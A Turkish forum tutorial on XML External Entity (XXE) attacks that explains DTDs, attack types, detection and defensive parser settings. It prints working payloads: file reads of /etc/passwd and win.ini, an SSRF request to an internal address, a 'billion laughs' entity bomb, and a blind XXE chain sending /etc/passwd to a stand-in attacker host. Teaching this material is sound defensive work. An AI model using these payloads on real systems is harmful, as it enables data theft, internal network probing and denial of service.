Neler yeni

Yazılım Forum

Tüm özelliklerimize erişmek için şimdi bize katılın. Kayıt olduktan ve giriş yaptıktan sonra konu oluşturabilecek, mevcut konulara yanıt gönderebilecek, itibar kazanabilecek, özel mesajlaşmaya erişebilecek ve çok daha fazlasını yapabileceksiniz! Bu hizmetlerimiz ise tamamen ücretsiz ve kurallara uyulduğu sürece sınırsızdır, o zaman ne bekliyorsunuz? Hadi, sizde aramıza katılın!

XXE Zafiyetleri: XML Harici Varlık Saldırıları Kapsamlı Rehberi ve Korunma Yöntemleri

XXE Zafiyetleri: XML Harici Varlık Saldırıları Kapsamlı Rehberi

Giriş:
Modern web uygulamalarında veri alışverişi, genellikle XML (Extensible Markup Language) ve JSON gibi formatlar üzerinden gerçekleşir. XML'in esnek ve genişletilebilir yapısı, onu birçok kurumsal ve web tabanlı sistemde popüler bir seçim haline getirmiştir. Ancak, XML'in sunduğu bu esneklik, beraberinde belirli güvenlik risklerini de getirmektedir. Bu risklerden biri de Harici Varlık (External Entity) saldırıları veya bilinen adıyla XXE (XML External Entity) zafiyetleridir. Bu kapsamlı rehberde, XXE zafiyetlerinin ne olduğunu, nasıl ortaya çıktığını, farklı saldırı vektörlerini, tespit yöntemlerini ve en önemlisi, bu tür saldırılardan nasıl korunulacağını detaylıca inceleyeceğiz.

XML ve DTD Temelleri:
XXE saldırılarını anlamak için öncelikle XML ve DTD (Document Type Definition) yapılarını iyi kavramak gerekir. XML, veriyi yapılandırmak için kullanılan bir işaretleme dilidir. Kendi etiketlerinizi tanımlayarak veriyi hiyerarşik bir şekilde düzenlemenizi sağlar. Örneğin:
Kod:
<kullanici>
    <ad>Ahmet</ad>
    <soyad>Yılmaz</soyad>
    <eposta>ahmet.yilmaz@example.com</eposta>
</kullanici>
DTD ise bir XML belgesinin yapısını tanımlayan bir şemadır. Bir XML belgesinin belirli kurallara (hangi elemanlar kullanılabilir, hangi sırada olabilirler, hangi özniteliklere sahip olabilirler vb.) uyup uymadığını doğrulamak için kullanılır. DTD, XML belgesinin içinde veya harici bir dosyada tanımlanabilir. İşte bir DTD örneği:
Kod:
<!DOCTYPE kullanici [
  <!ELEMENT kullanici (ad, soyad, eposta)>
  <!ELEMENT ad (#PCDATA)>
  <!ELEMENT soyad (#PCDATA)>
  <!ELEMENT eposta (#PCDATA)>
]>

Harici Varlıklar (External Entities):
DTD'lerin en önemli özelliklerinden biri "varlık" (entity) tanımlama yeteneğidir. Varlıklar, metin parçalarını veya özel karakterleri temsil etmek için kullanılan kısayollardır. XML'de iki ana varlık türü vardır: dahili (internal) ve harici (external).
* Dahili Varlıklar: Değeri DTD içinde tanımlanan varlıklardır.
Kod:
    <!DOCTYPE mesaj [
      <!ENTITY telif "© 2023 Benim Şirketim. Tüm Hakları Saklıdır.">
    ]>
    <mesaj>Bu metin &telif; ifadesini içerir.</mesaj>
* Harici Varlıklar: Değeri yerel bir dosyadan veya uzaktaki bir URL'den alınan varlıklardır. İşte bu nokta, XXE zafiyetlerinin ortaya çıktığı yerdir. Harici varlıklar, `SYSTEM` anahtar kelimesiyle tanımlanır ve bir URI (Uniform Resource Identifier) ile ilişkilendirilir.
Kod:
    <!DOCTYPE veri [
      <!ENTITY harici_veri SYSTEM "file:///etc/passwd">
    ]>
Yukarıdaki örnekte, `harici_veri` adında bir harici varlık tanımlanmıştır ve değeri `/etc/passwd` dosyasının içeriği olacaktır. Eğer bir XML ayrıştırıcısı (parser) bu varlığı ayrıştırmaya çalışırsa ve uygulamanın buna yetkisi varsa, dosyanın içeriği XML çıktısında veya uygulamanın hata loglarında görünebilir.

XXE Saldırı Tipleri:
XXE zafiyetleri, çeşitli saldırı vektörleri için kullanılabilir:

  • Lokal Dosya Okuma (Local File Disclosure): Sunucudaki hassas dosyaları (örneğin, `/etc/passwd`, `/etc/shadow`, uygulama konfigürasyon dosyaları, veritabanı kimlik bilgileri) okumak için kullanılır.
    Kod:
        <?xml version="1.0"?>
        <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
        <foo>&xxe;</foo>
    Yukarıdaki payload, Windows sistemlerinde `win.ini` dosyasının içeriğini okumaya çalışacaktır.
  • Sunucu Taraflı İstek Sahteciliği (SSRF - Server-Side Request Forgery): Uygulamanın çalıştırdığı sunucuyu kullanarak dahili ağdaki diğer sistemlere istekler göndermek veya dışarıdaki sunuculara (port taraması gibi) erişmek için kullanılabilir.
    Kod:
        <?xml version="1.0"?>
        <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.10/admin"> ]>
        <foo>&xxe;</foo>
    Bu payload, sunucuyu `192.168.1.10` adresindeki `/admin` sayfasına bir HTTP isteği göndermeye zorlar.
  • Hizmet Reddi (Denial of Service - DoS) Saldırıları: Harici varlıklar, büyük miktarda veri yükleyerek veya tekrarlayan varlık tanımları (recursive entities - "milyonlarca kahraman saldırısı") ile sunucuyu yormak için kullanılabilir.
    Kod:
        <!DOCTYPE lolz [
          <!ENTITY lol "lol">
          <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
          <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
          <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
          <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
          <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
          <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
          <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
          <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
        ]>
        <lolz>&lol9;</lolz>
    Bu "milyonlarca kahraman" saldırısı, ayrıştırıcının belleğini aşırı derecede tüketerek uygulamanın çökmesine neden olabilir.
  • Blind XXE (Kör XXE) Saldırıları: Uygulama, harici varlıkların içeriğini doğrudan HTTP yanıtında göstermediğinde ortaya çıkar. Bu durumda, saldırgan genellikle harici bir DTD veya bir dış sunucuya HTTP istekleri göndererek veri sızdırmak için bir "out-of-band" (bant dışı) teknik kullanır.
    Saldırganın kontrol ettiği bir sunucuya (örneğin, saldırganın web sunucusu) bir DTD dosyası yerleştirilir. Bu DTD, hedef sunucunun hassas verilerini (örneğin, `/etc/passwd`) okuyup saldırganın sunucusuna geri gönderecek bir harici varlık tanımlar.
    Kod:
        <!-- Saldırganın sunucusundaki evil.dtd dosyası -->
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://saldırgan.com/?data=%file;'>">
        %eval;
        %exfiltrate;
    Hedef sistemde gönderilen XML payload'u:
    Kod:
        <?xml version="1.0"?>
        <!DOCTYPE foo [
          <!ENTITY % dtd SYSTEM "http://saldırgan.com/evil.dtd">
          %dtd;
        ]>
        <foo></foo>
    Bu senaryoda, hedef sunucu `evil.dtd` dosyasını saldırganın sunucusundan çeker, DTD içindeki `file` varlığını `/etc/passwd` ile doldurur, ardından `exfiltrate` varlığı aracılığıyla `/etc/passwd` içeriğini saldırganın sunucusuna bir HTTP GET isteği parametresi olarak gönderir.

XXE Zafiyetinin Tespit Edilmesi:
XXE zafiyetleri genellikle aşağıdaki durumlar gözlemlendiğinde şüphe uyandırır:
* Uygulamanın XML girdisini kabul etmesi.
* Hata mesajlarında XML ayrıştırma hataları veya DTD ile ilgili uyarılar.
* HTTP isteklerinin XML gövdesi içermesi (örneğin, `Content-Type: application/xml`).
* Özellikle dosya yükleme, veri işleme, API çağrıları gibi işlevlerde XML kullanımı.

Manuel testlerde, giriş alanlarına basit bir XXE payload'u (örneğin, `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>`) enjekte etmek ve uygulamanın yanıtını gözlemlemek yaygın bir yöntemdir. Otomatik araçlar (örneğin, Burp Suite, OWASP ZAP) da XXE zafiyetlerini tarayabilir ve belirleyebilir.

XXE Zafiyetlerinden Korunma Yöntemleri:
XXE zafiyetleri, temel güvenlik prensiplerine uyularak ve XML ayrıştırıcılarının doğru yapılandırılmasıyla büyük ölçüde önlenebilir. İşte başlıca korunma yöntemleri:

  • DTD'leri ve Harici Varlıkları Devre Dışı Bırakın: Çoğu uygulama, DTD'lere veya harici varlıklara ihtiyaç duymaz. Bu özellikleri, kullanılan XML ayrıştırıcıda tamamen devre dışı bırakmak en etkili yöntemdir.
    Örnek Uygulama Kodlama Tavsiyeleri:
    * Java: `DocumentBuilderFactory`, `SAXParserFactory` veya `XMLInputFactory` kullanırken `setFeature` yöntemini kullanarak `XMLConstants.FEATURE_SECURE_PROCESSING`, `DISALLOW_DOCTYPE_DECL` ve `EXT_ENTITY_SUPPORT` gibi özellikleri `false` olarak ayarlayın.
    * .NET (C#): `XmlReader` sınıfını kullanırken `XmlReaderSettings` nesnesinin `DtdProcessing` özelliğini `Prohibit` veya `Ignore` olarak ayarlayın. `XmlTextReader` kullanırken `ProhibitDtd` özelliğini `true` yapın.
    * PHP: `libxml_disable_entity_loader(true);` fonksiyonunu çağırarak XML varlık yükleyicisini devre dışı bırakın. SimpleXML gibi kütüphanelerde bu varsayılan olarak kapalı olabilir, ancak kontrol etmek önemlidir.
    Bu özelliklerin varsayılan olarak kapatılması, birçok kütüphanede son sürümlerde zaten yapılmıştır ancak eski versiyonlar veya özel konfigürasyonlar risk taşıyabilir.
  • Giriş Doğrulaması (Input Validation) ve Temizleme (Sanitization): XML girdilerini dikkatlice doğrulayın ve beklenmeyen karakterleri veya yapıları filtreleyin. Ancak bu, tam bir çözüm değildir çünkü zararlı varlıklar karmaşık şekillerde gizlenebilir.
  • En Az Yetki Prensibi (Principle of Least Privilege): Uygulamanın çalıştığı kullanıcı hesabına sadece gerekli minimum dosya ve ağ erişim yetkilerini verin. Böylece bir XXE saldırısı başarılı olsa bile, saldırganın erişebileceği kaynaklar sınırlı kalır.
  • WAF (Web Application Firewall) Kullanımı: WAF'ler, bilinen XXE payload'larını veya DTD deklarasyonlarını tespit edip engelleyebilir. Ancak, WAF'ler tek başına yeterli bir çözüm değildir ve özelleştirilmiş saldırıları kaçırabilir.
  • Güvenlik Güncellemeleri: Kullanılan tüm XML ayrıştırıcı kütüphanelerini ve ilgili yazılımları düzenli olarak güncelleyin. Güvenlik açıkları genellikle yeni sürümlerde yamalanır.

Sonuç:
XXE zafiyetleri, XML tabanlı uygulamalar için ciddi bir tehdit oluşturur ve veri sızdırmadan hizmet reddine kadar çeşitli kötü niyetli eylemlere yol açabilir. Geliştiricilerin ve sistem yöneticilerinin, XML ayrıştırma mekanizmalarının nasıl çalıştığını anlamaları ve bu tür saldırılardan korunmak için gerekli güvenlik önlemlerini almaları hayati önem taşır. Harici varlıkların ve DTD'lerin devre dışı bırakılması, güvenli kodlama pratiklerinin uygulanması ve düzenli güvenlik denetimleri, XXE riskini minimize etmenin en etkili yollarıdır. Daha fazla bilgi ve kaynak için tıklayınız.
 
shape1
shape2
shape3
shape4
shape5
shape6
Üst

Bu web sitenin performansı Hazal Host tarafından sağlanmaktadır.

YazilimForum.com.tr internet sitesi, 5651 sayılı Kanun’un 2. maddesinin 1. fıkrasının (m) bendi ve aynı Kanun’un 5. maddesi kapsamında Yer Sağlayıcı konumundadır. Sitede yer alan içerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır.

YazilimForum.com.tr, kullanıcılar tarafından paylaşılan içeriklerin doğruluğunu, güncelliğini veya hukuka uygunluğunu garanti etmez ve içeriklerin kontrolü veya araştırılması ile yükümlü değildir. Kullanıcılar, paylaştıkları içeriklerden tamamen kendileri sorumludur.

Hukuka aykırı içerikleri fark ettiğinizde lütfen bize bildirin: lydexcoding@gmail.com

Sitemiz, kullanıcıların paylaştığı içerik ve bilgileri 6698 sayılı KVKK kapsamında işlemektedir. Kullanıcılar, kişisel verileriyle ilgili haklarını KVKK Politikası sayfasından inceleyebilir.

Sitede yer alan reklamlar veya üçüncü taraf bağlantılar için YazilimForum.com.tr herhangi bir sorumluluk kabul etmez.

Sitemizi kullanarak Forum Kuralları’nı kabul etmiş sayılırsınız.

DMCA.com Protection Status Copyrighted.com Registered & Protected